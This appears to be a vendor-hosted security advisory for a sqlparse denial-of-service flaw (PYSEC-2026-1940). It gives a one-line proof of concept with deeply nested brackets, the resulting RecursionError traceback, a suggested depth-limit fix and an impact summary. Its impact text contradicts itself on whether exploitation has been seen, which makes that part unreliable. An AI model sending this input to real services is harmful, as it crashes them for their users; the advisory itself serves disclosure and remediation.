Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
PYSEC-2026-1940
No affected components available
Summary
Passing a heavily nested list to sqlparse.parse() leads to a Denial of Service due to RecursionError.
Details + PoC
Running the following code will raise Maximum recursion limit exceeded exception:
import sqlparse
sqlparse.parse('[' * 10000 + ']' * 10000)
We expect a traceback of RecursionError:
Traceback (most recent call last):
File "trigger_sqlparse_nested_list.py", line 3, in <module>
sqlparse.parse('[' * 10000 + ']' * 10000)
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/__init__.py", line 30, in parse
return tuple(parsestream(sql, encoding))
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/filter_stack.py", line 36, in run
stmt = grouping.group(stmt)
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 428, in group
func(stmt)
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 53, in group_brackets
_group_matching(tlist, sql.SquareBrackets)
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 48, in _group_matching
tlist.group_tokens(cls, open_idx, close_idx)
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 328, in group_tokens
grp = grp_cls(subtokens)
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 161, in __init__
super().__init__(None, str(self))
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 165, in __str__
return ''.join(token.value for token in self.flatten())
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 165, in <genexpr>
return ''.join(token.value for token in self.flatten())
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten
yield from token.flatten()
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten
yield from token.flatten()
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten
yield from token.flatten()
[Previous line repeated 983 more times]
RecursionError: maximum recursion depth exceeded
Fix suggestion
The flatten() function of TokenList class should limit the recursion to a maximal depth:
from sqlparse.exceptions import SQLParseError
MAX_DEPTH = 100
def flatten(self, depth=1):
"""Generator yielding ungrouped tokens.
This method is recursively called for all child tokens.
"""
if depth >= MAX_DEPTH:
raise SQLParseError('Maximal depth reached')
for token in self.tokens:
if token.is_group:
yield from token.flatten(depth + 1)
else:
yield token
Impact
Denial of Service (the impact depends on the use). Anyone parsing a user input with sqlparse.parse() is affected.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard